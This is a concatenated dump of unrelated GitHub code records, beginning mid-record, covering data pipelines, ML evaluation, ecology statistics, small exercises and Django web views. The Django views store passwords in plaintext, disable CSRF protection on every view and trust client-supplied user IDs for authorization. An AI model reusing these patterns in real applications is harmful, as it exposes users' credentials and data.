callback=fim.callback_detect_event,\n                                    error_message='Did not receive expected '\n                                                  '\"Sending FIM event: ...\" event').result()\n\n    assert 'added' in event['data']['type'] and regular2 in event['data']['path'], \\\n        f'\"added\" event not matching for {event}'\n","repo_name":"wazuh/wazuh-qa","sub_path":"tests/integration/test_fim/test_files/test_follow_symbolic_link/test_symlink_to_dir_between_scans.py","file_name":"test_symlink_to_dir_between_scans.py","file_ext":"py","file_size_in_byte":5056,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"}
+{"seq_id":"41363422921","text":"from google.cloud import storage\nfrom google.cloud import bigquery\nfrom google.cloud.exceptions import NotFound\nimport pandas as pd\nimport numpy as np\n\n\ndef save_local(data_url, temp_folder, data_file, path_to_local_home, date_col=None, limit_col=None):\n    df = pd.read_csv(data_url)\n    if limit_col:\n        df = df.iloc[:, :limit_col]\n    if date_col:\n        df[date_col] = pd.to_datetime(df[date_col])\n    for col in df.columns:\n        if df[col].dtypes == np.int64:\n            df[col] = df[col].astype(float)\n    df.to_parquet(f\"{path_to_local_home}/{temp_folder}/{data_file}.parquet\", index=False)\n\n\ndef dump_to_gcs(bucket, object_name, local_file):\n    storage.blob._MAX_MULTIPART_SIZE = 5 * 1024 * 1024  # 5 MB\n    storage.blob._DEFAULT_CHUNKSIZE = 5 * 1024 * 1024  # 5 MB\n\n    client = storage.Client()\n    bucket = client.bucket(bucket)\n\n    blob = bucket.blob(object_name)\n    blob.upload_from_filename(local_file)\n\n\ndef blob_exists(bucket, object_name):\n    storage_client = storage.Client()\n    bucket_name = bucket\n    bucket = storage_client.bucket(bucket_name)\n    stats = storage.Blob(bucket=bucket, name=object_name).exists(storage_client)\n    if not stats:\n        return \"save_local_population_task\"\n    else:\n        return \"skip_local_population_taks\"\n\ndef weekday_branch(day_of_week, actual, dummy):\n    if day_of_week==\"7\":\n        return actual \n    else:\n        return dummy\n\ndef table_exists(table, create_task, append_task):\n    client = bigquery.Client()\n    table_id = table\n    try:\n        client.get_table(table_id) \n        return append_task\n    except NotFound:\n        return create_task","repo_name":"idalbo/data_engineering_zoomcamp_project","sub_path":"airflow/dags/dag_utils.py","file_name":"dag_utils.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"70436753334","text":"from math import factorial\n\n\ndef pascals_triangle(n: int) -> list:\n    triangle = []\n    for i in range(n):\n        for j in range(i + 1):\n            triangle.append(factorial(i)//(factorial(j)*factorial(i - j)))\n    return triangle\n    ","repo_name":"ZaytsevNS/python_codewars","sub_path":"6KYU/pascals_triangle.py","file_name":"pascals_triangle.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"}
+{"seq_id":"4075821146","text":"import time\nimport json\nimport resource\nimport dill as pkl\n\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\n\nfrom config import ModelConfig\nfrom model.RelationLearner import RelLearner\nfrom units.logger import Logger\nfrom units.sg_eval import BasicSceneGraphEvaluator\nfrom utils import *\n\nrlimit = resource.getrlimit(resource.RLIMIT_NOFILE)\nresource.setrlimit(resource.RLIMIT_NOFILE, (4096, rlimit[1]))\n\ndef eval_batch(batch, conf, model, dataset, mid_mtrs):\n    gt_edge = batch.gt_adjmats.long().cuda() # [B, n, n]\n    gt_adjmat = (batch.gt_adjmats > 0).float().cuda() # [B, n, n]\n    gt_nnodes = batch.gt_nnodes\n    \n    pred_edge, ht2rels, rel2rels = model[batch]\n    n_subspace = pred_edge.shape[-1]\n\n    pred_edge = torch.sum(pred_edge, dim=-1)/ n_subspace # [b, 51, n, n, #subs] -> [b, 51, n, n]\n\n    if conf.mtr_mode == 'preddet':\n        alpha = gt_adjmat\n\n    vs_alpha = torch.ones_like(alpha) - alpha  # [b, n, n]\n    final_logits = alpha[:, None, :, :] * pred_edge  # [b, 1, n, n]*[b, 51, n, n]\n    final_logits[:, 0, :, :] = vs_alpha\n    pred_edge = final_logits\n\n    ##### ---- to evaluate top1 and top5 accuracy as a mid-metric\n    gt_rels = batch.gt_rels\n    gt_rels_sum = torch.sum(gt_rels, dim=-1) # [#batch, #rels]\n    gt_rels_nonzero = gt_rels_sum.nonzero() # [ex, 2]\n    fg_rels = gt_rels[gt_rels_nonzero[:,0], gt_rels_nonzero[:,1]]\n    \n    # --------------------------------------------- top1 and top5 accuracy (mid-metric)\n    n_topk = 5\n\n    top1_edge = pred_edge.argmax(dim=1) # [B, N, N]\n    _, top5_edge = pred_edge.topk(n_topk, dim=1) # [B, 5, N, N]\n    mid_mtrs['n_edge'] = mid_mtrs['n_edge'] + top1_edge.shape[0]*top1_edge.shape[1]*top1_edge.shape[2]\n    mid_mtrs['accu_edge_top1'] = mid_mtrs['accu_edge_top1'] + (top1_edge == gt_edge).float().sum()\n    for i in range(n_topk):\n        mid_mtrs['accu_edge_top5'] = mid_mtrs['accu_edge_top5'] + (top5_edge[:,i,:] == gt_edge).float().sum()\n\n    gt_edge_selected = fg_rels[:, -1]\n    pred_edge_selected = pred_edge[fg_rels[:,0], :, fg_rels[:,1], fg_rels[:,2]]\n    top1_pred_edge_selected = pred_edge_selected.argmax(dim=1)\n    mid_mtrs['accu_edge_top1_selected'] = mid_mtrs['accu_edge_top1_selected'] + (gt_edge_selected == top1_pred_edge_selected).float().sum()\n    mid_mtrs['n_edge_selected'] = mid_mtrs['n_edge_selected'] + pred_edge_selected.shape[0]\n    # -------------------------------------------------------------------------------\n\n    norel_mask = (top1_edge == 0)\n    pred_edge = mask_pred(conf, pred_edge, gt_nnodes, batch.kg_priors, norel_mask)\n\n    res = {}\n    res['img_idx'], res['label_idx'], res['cols'], res['rows'], res['conf_vals'] = select_maxthrs(pred_edge, 100) # [b, k]\n    assert sum(sum(res['label_idx']<0)) == 0\n    torch.torch.cuda.empty_cache()\n    return res, mid_mtrs, gt_adjmat, gt_nnodes\n        \ndef eval_epoch(evaluator, conf, model, dataset, dataloader, logger, writer, epoch):\n    model.eval()\n    \n    mid_mtrs = {}\n    mid_mtrs['n_node'] = 0\n    mid_mtrs['n_edge'] = 0\n    mid_mtrs['n_edge_selected'] = 0    \n    mid_mtrs['accu_node_top1'] = 0\n    mid_mtrs['accu_edge_top1'] = 0\n    mid_mtrs['accu_node_top5'] = 0\n    mid_mtrs['accu_edge_top5'] = 0\n    mid_mtrs['accu_edge_top1_selected'] = 0\n    \n    t = time.time()\n    all_pred_entries = []\n    all_adjmats = []\n    \n    for b, batch in enumerate(tqdm(dataloader)):\n        res, mid_mtrs, gt_adjmat, gt_nnodes = eval_batch(batch, conf, model, dataset, mid_mtrs)\n\n        for i, idx in enumerate(batch.idx_list):\n            gt_entry = {\n                'gt_classes': dataset.gt_classes[idx].copy(),\n                'gt_relations': dataset.gt_relationships[idx].copy(),\n                'gt_boxes': dataset.gt_boxes[idx].copy(),\n            }\n\n            pred_entry = {\n                'pred_boxes': None,\n                'pred_classes': None,\n                'pred_rel_inds': torch.stack((res['cols'][i], res['rows'][i])).transpose(0, 1).detach().cpu().numpy(),\n                'obj_scores': None,\n                'rel_inds': res['label_idx'][i].detach().cpu().numpy(),\n                'rel_scores': res['conf_vals'][i].detach().cpu().numpy(),\n                'idx': idx\n            }\n            all_pred_entries.append(pred_entry)\n            evaluator[conf.mtr_mode].evaluate_scene_graph_entry(\n                gt_entry,\n                pred_entry,\n            )\n\n    eval_time = time.time() - t\n    \n    accu_edge_top1 = mid_mtrs['accu_edge_top1']/mid_mtrs['n_edge']\n    accu_edge_top5 = mid_mtrs['accu_edge_top5']/mid_mtrs['n_edge']\n    accu_edge_selected = mid_mtrs['accu_edge_top1_selected']/mid_mtrs['n_edge_selected']\n    logger.write('eval: time: %f, accu for edge(top1/top5/top1 selected): %.5f/%.5f/%.5f' % (eval_time, accu_edge_top1, accu_edge_top5, accu_edge_selected))\n\n    writer.add_scalar('val_accu/accu_edge_top1', accu_edge_top1, epoch)\n    writer.add_scalar('val_accu/accu_edge_top5', accu_edge_top5, epoch)\n    writer.add_scalar('val_accu/accu_edge_selected', accu_edge_selected, epoch)\n    \n    evaluator[conf.mtr_mode].print_stats_log(logger, writer, epoch)\n        \n    out_file = conf.OUT_PATH + conf.odir + '/' + conf.odir + '_e%s.pkl'%(epoch)\n    with open(out_file,'wb') as f:\n        pkl.dump(all_pred_entries, f)\n    \ndef mask_pred(conf, pred, gt_nnodes, priors, norel_mask):\n    \"\"\"\n    mask background relationships and values at padded pairs\n    args\n        pred: prediction results # [b, 51, n, n]\n        gt_nnodes : number of gt_nodes in an image # [b, 1]\n        norel_mask: [b, n, n]\n    \"\"\"\n\n    if conf.kg_mask == True:\n        priors = priors.permute(0, 3, 1, 2) # [b, 51, head, tail]\n        pred = torch.mul(pred, priors)\n\n    if conf.norel_mask == True:\n        norel_mask = norel_mask.repeat(pred.shape[1], 1, 1, 1).permute(1, 0, 2 ,3)\n        norel_mask = norel_mask.float()*1e-2\n        norel_mask = norel_mask + (norel_mask == 0).float()\n        pred = torch.mul(pred, norel_mask)\n\n\n    pred = mask2d_4dmat(gt_nnodes, pred, val=-1)\n    pred[:,0,:,:] = -1\n    return pred\n\ndef select_maxthrs(pred, max_thrs):\n    \"\"\"\n    select max_thrs pairs following high confidence (it helps to save results efficiently)\n    args\n        pred: prediction results # [b, 51, n, n]\n        max_thrs: max threshold value\n    \"\"\"\n    n_node = pred.shape[-1]\n    pred_flat = pred.contiguous().view(pred.shape[0], -1)\n    pred_score, max_idx = pred_flat.topk(k=max_thrs)\n    label_idx = max_idx / (n_node*n_node)\n    remains = (max_idx-n_node*n_node*label_idx)\n    cols = remains / n_node\n    rows = remains % n_node\n    img_idx = torch.arange(0, pred.shape[0]).repeat(max_thrs, 1).transpose(0, 1)\n    conf_vals = pred[img_idx, label_idx, cols, rows]\n    return img_idx, label_idx, cols, rows, conf_vals\n\nif __name__ == '__main__':\n    conf = ModelConfig()\n    assert conf.saved_model != None\n\n    fix_seed(conf.seed)\n\n    out = conf.OUT_PATH + conf.odir\n    logger = Logger(os.path.join(out, '%s_log.txt' % (conf.odir)))\n    writer = SummaryWriter('results/' + conf.odir)\n\n    # evaluate: conf.saved_model != None\n    config_file = os.path.join(out, '%s_config.json' % (conf.odir))\n    with open(config_file, \"r\") as confFile:\n        conf_args = json.load(confFile)\n        conf_args['saved_model'] = conf.saved_model\n        conf_args['mode'] = 'test'\n        conf.__dict__.update(conf_args)\n        print(\"\\nevaluate: ## [config] ##\")\n        conf()\n\n    if conf.dataset == 'vg':\n        from dataloaders.visual_genome import Dataset, DataLoader\n    elif conf.dataset == 'vrd':\n        from dataloaders.vrd import Dataset, DataLoader\n    elif conf.dataset == 'vrr_vg':\n        from dataloaders.vrr_vg import Dataset, DataLoader\n    elif conf.dataset == 'gqa':\n        from dataloaders.gqa import Dataset, DataLoader\n\n    if conf.mode == 'train' or conf.mode == 'val':\n        eval_data = Dataset(conf, 'val')\n        print ('Evaluating val dataset starts now!')\n    elif conf.mode == 'test':\n        eval_data = Dataset(conf, 'test')\n        print ('Evaluating test dataset starts now!')\n    _, eval_loader = DataLoader.get(eval_data, eval_data, conf)\n\n    model = RelLearner(conf).cuda()\n    opt_name = conf.opt\n    if opt_name == 'sgd':\n        optimizer = torch.optim.SGD(model.parameters(), lr=conf.lr, momentum=0.9)\n    elif opt_name == 'adamax':\n        optimizer = torch.optim.Adamax(model.parameters(), lr=conf.lr)\n    elif opt_name == 'adam':\n        optimizer = torch.optim.Adam(model.parameters(), lr=conf.lr)\n\n    checkpoint = torch.load(os.path.join(out, conf.saved_model))\n    model.load_state_dict(checkpoint['state_dict'])\n    optimizer.load_state_dict(checkpoint['optimizer'])\n    epoch = checkpoint['epoch']\n    \n    evaluator = BasicSceneGraphEvaluator.all_modes()\n    eval_epoch(evaluator, conf, model, eval_data, eval_loader, logger, writer, epoch)","repo_name":"YuJungHeo/CompTransR","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":8797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11676316703","text":"owoce=['arbuz', 'banan', 'cytryna', 'granat', 'porzeczka']\nprint(owoce)\nodpowiedz=input(\"Czy chcesz wyświetlić nazwy owoców w kolejności alfabetycznej? Wpisz tak lub nie: \")\nprint(odpowiedz)\nt='tak'\nn='nie'\nwhile odpowiedz != \"exit\":\n    if odpowiedz == t :\n        print(owoce)\n        break\n    elif odpowiedz == n :\n        owoce.reverse()\n        print(owoce)\n        break\n    else:\n        print(\"Nie odpowiedziałeś zgodnie z pytaniem\")\n        print(odpowiedz)\n        odpowiedz=input(\"Czy chcesz wyświetlić nazwy owoców w kolejności alfabetycznej? Wpisz tak lub nie: \")\n\nprint(\"program zakończony\")\n\n","repo_name":"AnnaKaczmarek-automation/My-programmes","sub_path":"ćwiczenia2/lista_i_petla.py","file_name":"lista_i_petla.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41138565741","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import login, authenticate \nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.http import HttpResponse\nfrom .models import *\nimport random\nfrom datetime import datetime\nfrom django.shortcuts import get_object_or_404\n\n\ndef home(request):\n    return render(request,'index.html')\n\ndef workerSignup(request):\n    agents = Agent.objects.all()\n    \n    if request.method == 'POST':\n        vnameWorker = request.POST.get('nameWorker','')\n        vcontactWorker = request.POST.get('contactWorker','')\n        vmailWorker = request.POST.get('mailWorker','')\n        vpasswordWorker = request.POST.get('passwordWorker','')\n        vagent = random.choice(agents)\n        worker = Worker(nameWorker= vnameWorker,\n                    contactWorker= vcontactWorker,\n                    mailWorker= vmailWorker,\n                    passwordWorker= vpasswordWorker,\n                    agent = vagent,\n                    )\n        worker.save()\n    return render(request, 'WorkerSignup.html')\n\ndef EmployerSignup(request):\n    if request.method == 'POST':\n        vnameEmployer = request.POST.get('nameEmployer','')\n        vcontactEmployer = request.POST.get('contactEmployer','')\n        vmailEmployer = request.POST.get('mailEmployer','')\n        vpasswordEmployer = request.POST.get('passwordEmployer','')\n        vcompanyEmployer = request.POST.get('companyEmployer','')\n        emplo = Employer(nameEmployer= vnameEmployer,\n                    contactEmployer= vcontactEmployer,\n                    mailEmployer= vmailEmployer,\n                    passwordEmployer= vpasswordEmployer,\n                    companyEmployer= vcompanyEmployer,)\n        emplo.save()\n    return render(request, 'EmployerSignup.html')\n\ndef setWork(request):\n    if request.method == 'POST':\n        vtitleWork = request.POST.get('titleWork','')\n        vdateWork = request.POST.get('dateWork','')\n        vdescriptionWork = request.POST.get('descriptiosWork','')\n        vworker = request.POST.get('worker','')\n        work = Work(titleWork = vtitleWork,\n                    dateWork = vdateWork,\n                    descriptionWork = vdescriptionWork,\n                    worker=vworker)\n        work.save()\n    \n    return render(request,'SetWork.html')\n\ndef setEducation(request):\n    if request.method == 'POST':\n        vtitleEducation = request.POST.get('titleEducation','')\n        vdescriptionEducation = request.POST.get('descriptiosEducation','')\n        vinstitution = request.POST.get('institution','')\n        vworker = request.POST.get('worker','')\n        education = Education(titleEducation = vtitleEducation,\n                    institution = vinstitution ,\n                    descriptionEducation = vdescriptionEducation,\n                    worker=vworker)\n        education.save()\n    \n    return render(request,'SetEducation.html')\n\ndef setExperience(request):\n    if request.method == 'POST':\n        vtitleExperience = request.POST.get('titleExperience','')\n        vdescriptionExperience = request.POST.get('descriptiosExperience','')\n        vcompanyExperience = request.POST.get('companyExperience','')\n        vyearExperience = request.POST.get('yearExperience','')\n        vworker = request.POST.get('worker','')\n        experience = Experience(titleExperience = vtitleExperience,\n                    yearExperience = vyearExperience ,\n                    companyExperience = vcompanyExperience ,\n                    descriptionExperience = vdescriptionExperience,\n                    worker=vworker)\n        experience.save()\n    \n    return render(request,'SetExperience.html')\n\ndef AgentSignup(request):\n    if request.method == 'POST':\n        vnameAgent = request.POST.get('nameAgent','')\n        vcontactAgent = request.POST.get('contactAgent','')\n        vmailAgent = request.POST.get('mailAgent','')\n        vcompanyAgent = request.POST.get('companyAgent','')\n        agent = Agent(nameAgent= vnameAgent,\n                    contactAgent= vcontactAgent,\n                    mailAgent= vmailAgent,\n                    companyAgent= vcompanyAgent,)\n        agent.save()\n    return render(request, 'AgentSignup.html')\n\n\ndef WorkerSignin(request):\n    if request.user.is_authenticated:\n        return render(request, 'home.html')\n    if request.method == 'POST':\n        mailWorker = request.POST['mailWorker']\n        passwordWorker = request.POST['passwordWorker']\n        user = authenticate(request, username=mailWorker, password=passwordWorker)\n        if user is not None:\n            login(request, user)\n            return redirect('home.html') #profile\n        else:\n            msg = 'Error Login'\n            form = AuthenticationForm(request.POST)\n            return render(request, 'WorkerSignin.html', {'form': form, 'msg': msg})\n    else:\n        form = AuthenticationForm()\n        return render(request, 'WorkerSignin.html', {'form': form})\n    \n\ndef newWork(request):\n    worker = Worker.objects.all()\n    \n    if request.method == 'POST':\n        vtitleWork = request.POST.get('titleWork','')\n        vdescriptionWork = request.POST.get('descriptionWork','')\n        vdateWork = request.POST.get('dateWork', '')\n        date_format = '%Y-%m-%d'  # Ajusta el formato de fecha según tu formulario HTML\n        try:\n             dateWork = datetime.strptime(vdateWork, date_format)\n        except ValueError:\n        \n            dateWork = None\n        vworker = random.choice(worker)\n        work = Work(titleWork= vtitleWork,\n                    descriptionWork= vdescriptionWork,\n                    dateWork=dateWork,\n                    worker = vworker,\n                    )\n        work.save()\n        \n\n    return render(request, 'setWork.html')\n\ndef newContract(request):\n   \n    employers = Employer.objects.all()\n    type_contract_choices = [('Service', 'Service'), ('Limit', 'Limit')]\n    workers = Worker.objects.all()\n    \n    if request.method == 'POST':\n        vtype = request.POST.get('typeContract','')\n        vstart = request.POST.get('startdate','')\n        vfinish = request.POST.get('finishdate','')\n        vdescription = request.POST.get('descriptionContract','')\n        vfare = request.POST.get('fareContract','')\n        vworker_id = request.POST.get('worker', '')  # Get the worker ID\n        vemployer_id = request.POST.get('employer', '')  # Get the employer ID\n\n        vstart = datetime.strptime(vstart, '%Y-%m-%d').date()\n        vfinish = datetime.strptime(vfinish, '%Y-%m-%d').date()\n        #vworker = Worker.objects.get(pk=vworker)\n        #vemployer = Employer.objects.get(pk=vemployer)\n\n        vworker = get_object_or_404(Worker, pk=vworker_id)\n        vemployer = get_object_or_404(Employer, pk=vemployer_id)\n\n        contract = Contract(typeContract = vtype,\n                            startdate=vstart,\n                            finishdate=vfinish,\n                            descriptionContract = vdescription,\n                            fareContract = vfare,\n                            worker = vworker,\n                            employer = vemployer\n        )\n\n        contract.save()\n\n    return render(request, 'Contract.html', {'type_contract_choices': type_contract_choices,'workers': workers,\n        'employers': employers})","repo_name":"DannaMendozaBurgos/Formalia_Project","sub_path":"formaliapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4809706941","text":"import base64\nfrom datetime import datetime\nimport os,tempfile\nfrom services.dataset import Dataset\nfrom services.model import Model\nimport pickle\n\nclass Project:\n    \"\"\"docstring for Project.\"\"\"\n    def __init__(self, app):\n        self.app = app\n        self.app.logger.info(\"Instance for Project Created\")\n\n    def create(self, project_name):\n        self.name = project_name # Decide project naming conventions\n        self.date_created = datetime.now()\n        self.path = tempfile.mkdtemp() # Create a temporary directory and store the path\n        self.app.logger.info(\"Project Name : \" + self.name + \"Date Created : \" + str(self.date_created) + \"Path : \"+ self.path)\n\n    def upload_dataset(self, dataset,filename):\n        dpath = os.path.join(self.path,filename)\n        Project.save_file(dpath,dataset)\n        self.app.logger.info(\"Uploaded Dataset to \"+ dpath)\n        self.dataset = Dataset(self.app,dpath)\n\n    def create_model(self, type, name):\n        if type == \"Supervised\":\n            self.model = Model(self.app, self.dataset, type, Model.Classifiers[name])\n        elif type == \"Unsupervised\":\n            self.model = Model(self.app, self.dataset, type, Model.Clusterers[name])\n        else:\n            self.app.logger.info(\"Learning type is not valid\")\n\n    def save_model(self):\n        if self.model.learning_type == \"Supervised\":\n            pickle.dump(self.model.classifier, open(os.path.join(self.path,\"model-\" + self.date_created.strftime(\"%Y%m%d%H%M%S\") + \".sav\"), 'wb'))\n        elif self.model.learning_type == \"Unsupervised\":\n            pickle.dump(self.model.clusterer, open(os.path.join(self.path,\"model-\" + self.date_created.strftime(\"%Y%m%d%H%M%S\") + \".sav\"), 'wb'))\n        else:\n            self.app.logger.info(\"Learning type is not valid\")\n\n    @staticmethod\n    def save_file(path, content):\n        \"\"\"Decode and store a file uploaded with Plotly Dash.\"\"\"\n        data = content.encode(\"utf8\").split(b\";base64,\")[1]\n        with open(path, \"wb\") as fp:\n            fp.write(base64.decodebytes(data))\n","repo_name":"vijay-jindal/Interactive-ML-Platform","sub_path":"IMLP/services/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"43568994278","text":"from django.shortcuts import render\nfrom datetime import date, datetime, timedelta\nfrom json.decoder import JSONDecodeError\nfrom dateutil.relativedelta import relativedelta\nimport datetime as dt\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.forms.models import model_to_dict\nfrom django.http import JsonResponse\nimport json\nfrom django.http import StreamingHttpResponse, HttpResponseRedirect, HttpResponse\nfrom users.models import VkUser\nfrom .models import ChatLog\n# Create your views here.\n# message = {date: '', message: '', user: ''}\nimport string\nimport random\n\n\n@csrf_exempt\ndef getAllChatLogs(request):\n    if request.method == 'GET':\n        user_pk = request.GET.get('user_pk', None)\n        if user_pk is None:\n            return HttpResponse(status=404)\n\n        all_chats = ChatLog.objects.all()\n        owned = all_chats.filter(owner__pk=user_pk)\n\n        owned_chats = []\n        for c in owned:\n            owned_chats.append({'key': c.key, 'name': c.name})\n\n        return JsonResponse(owned_chats, safe=False)\n    return HttpResponse('Wrong request')\n\n\n@csrf_exempt\ndef getChatLog(request):\n    if request.method == 'GET':\n        key = request.GET.get('key', None)\n        if key is None:\n            return HttpResponse(status=404)\n        chat_array = ChatLog.objects.all().filter(key=key)\n        if chat_array.count() == 0:\n            return HttpResponse(status=404)\n\n        chat = chat_array.first()\n        chat_log = json.loads(chat.log)\n        result = {\"owner\": chat.owner.pk, \"log\": chat_log,\n                  \"key\": chat.key, 'id': chat.pk, \"name\": chat.name}\n        return JsonResponse(result, safe=False)\n    return HttpResponse('Wrong request')\n\n\n@csrf_exempt\ndef deleteChatLog(request):\n    if request.method == 'POST':\n\n        data = json.loads(request.body.decode('utf-8'))\n        key = data.get('key', None)\n        user_pk = data.get('user_pk', None)\n        if key is None:\n            return HttpResponse(status=404)\n        chat_array = ChatLog.objects.all().filter(key=key)\n        if chat_array.count() == 0:\n            return HttpResponse(status=404)\n        chat = chat_array.first()\n\n        if user_pk != chat.owner.pk:\n            return HttpResponse(status=403)\n        chat.delete()\n        return HttpResponse(status=200)\n    return HttpResponse('Wrong request')\n\n\n@csrf_exempt\ndef createChatLog(request):\n    if request.method == 'POST':\n        data = json.loads(request.body.decode('utf-8'))\n        user_pk = data.get('user_pk', None)\n        name = data.get('name', None)\n        owner = VkUser.objects.get(pk=user_pk)\n        key = ''.join(random.choices(\n            string.ascii_uppercase + string.digits, k=60))\n        chat = ChatLog(key=key,\n                       owner=owner, log='[]', name=name)\n        chat.save()\n        result = {'key': chat.key, 'name': chat.name}\n        return JsonResponse(result, safe=False)\n    return HttpResponse('Wrong request')\n\n\n@csrf_exempt\ndef postChatLog(request):\n    if request.method == 'POST':\n\n        data = json.loads(request.body.decode('utf-8'))\n        key = data.get('key', None)\n        user = data.get('user', None)\n        message_text = data.get('message', None)\n        if key is None:\n            return HttpResponse(status=404)\n        chat_array = ChatLog.objects.all().filter(key=key)\n        if chat_array.count() == 0:\n            return HttpResponse(status=404)\n        chat = chat_array.first()\n        print(user)\n        message = {'user': user,\n                   'message': message_text, 'date': datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}\n        log = json.loads(chat.log)\n        log.append(message)\n        chat.log = json.dumps(log)\n        chat.save()\n        return HttpResponse(status=200)\n    return HttpResponse('Wrong request')\n","repo_name":"sovladlisin/vtarget-backend","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3267564911","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport datetime as dt\n\n##This code calculates number of days between image intervals\n##Creates tables with canopy disturbances rates for area and number\n##Calculates basic statistics (table S1)\n\n##Gaps clipped to the plot boundary\ngapsall = pd.read_csv('../Entrance/gaps_2014_2019_clip50haplot.csv')\n\n#Group by each date and sum areas\ntabdin = pd.pivot_table(gapsall, index='date', values='area_m2', aggfunc=np.sum)\ntabdin = tabdin.reset_index()\n#Rename columns\ngaps = tabdin.set_axis(['date', 'area'], axis=1, inplace=False)\n\nfirstdate = pd.Series('2014-10-02')\n\n\n###Calculate number of interval days\n\n#Maintain the same\ndate1 = gaps.date\n\n#Add the first date and delete last row (drop=True to start index from 0 again)\ndate2 = firstdate.append(gaps.date[:-1]).reset_index(drop=True)\n\n##Convert to datetime\nd1 = pd.to_datetime(date1, format='%Y/%m/%d')\nd2 = pd.to_datetime(date2, format='%Y/%m/%d')\n\ndays = (d1 - d2).dt.days.rename('days')\n\n###Concatenate \ngapsdays = pd.concat((gaps, days), axis=1)\n\ngapsdays.loc[:,'areamonth'] = (gapsdays.area/gapsdays.days)*30\ngapsdays['areapercmonth'] = (gapsdays.areamonth/500000)*100\n\ngapsdays.round(2).to_csv('../Exit/gaps_area_days_5years.csv')\n\n\n#################################################################\n#################################################################\n##Do the same for number of events\n\n#Group by each date and sum areas\ntabdin = pd.pivot_table(gapsall, index='date', values='area_m2', aggfunc='count')\ntabdin = tabdin.reset_index()\n#Rename columns\ngaps = tabdin.set_axis(['date', 'number'], axis=1, inplace=False)\n\nfirstdate = pd.Series('2014-10-02')\n\n###Calculate number of interval days\n\n#Maintain the same\ndate1 = gaps.date\n\n#Add the first date and delete last row (drop=True to start index from 0 again)\ndate2 = firstdate.append(gaps.date[:-1]).reset_index(drop=True)\n\n\n##Convert to datetime\nd1 = pd.to_datetime(date1, format='%Y/%m/%d')\nd2 = pd.to_datetime(date2, format='%Y/%m/%d')\n\ndays = (d1 - d2).dt.days.rename('days')\n\n###Concatenate \ngapsdaysnumber = pd.concat((gaps, days), axis=1)\n\ngapsdaysnumber.loc[:,'numbermonth'] = (gapsdaysnumber.number/gapsdaysnumber.days)*30\ngapsdaysnumber['numbermonthha'] = (gapsdaysnumber.numbermonth/50)\n\ngapsdaysnumber.round(2).to_csv('../Exit/gaps_number_days_5years.csv')\n\n\n#################################################################\n#################################################################\n###Basic stats of temporal variation (area per month)\n\n#Exclude the long interval\ngapsdays.drop(14,axis=0,inplace=True)\ngapsdaysnumber.drop(14, axis=0, inplace=True)\n\ngapsdays.areamonth.describe().round(1).to_csv('../Exit/describe_area_month.csv')\ngapsdaysnumber.numbermonth.describe().round(1).to_csv('../Exit/describe_number_month.csv')\ngapsdaysnumber.days.describe().round(1).to_csv('../Exit/describe_days.csv')\ngapsdays.area.describe().round(1).to_csv('../Exit/describe_area.csv')\ngapsdaysnumber.number.describe().round(1).to_csv('../Exit/describe_number.csv')\n\n\n\n\n\n\n\n","repo_name":"Raquel-Araujo/gap_dynamics_BCI50ha","sub_path":"Tables_day_intervals/Scripts/dayintervals.py","file_name":"dayintervals.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42282488415","text":"n=int(input())\nstr1=[]\nstr2=[]\nfor i in range(n):\n    str1.append(input().split()[0])\n    str2.append(input().split()[0])\nfor i in range(n):\n    s1=str1[i]\n    s2=str2[i]\n    if len(s1)!=len(s2) or len(s1)==0:\n        print(-1)\n        continue\n    f=1\n    ans=0\n    pre=0\n    for j in range(len(s1)):\n        if s1[j]!=s2[j]:\n            if j==0 or j==len(s1)-1:\n                f=0\n                break\n            else:\n                if s2[j-1]!=s1[j] or s2[j+1]!=s1[j] or pre==1:\n                    f=0\n                    break\n            pre=1\n            ans+=1\n        else:\n            pre=0\n    if f:\n        print(ans)\n    else:\n        print(-1)\n\n\n","repo_name":"Kspurs/Nevermore","sub_path":"蓝桥杯2023省赛-翻转.py","file_name":"蓝桥杯2023省赛-翻转.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
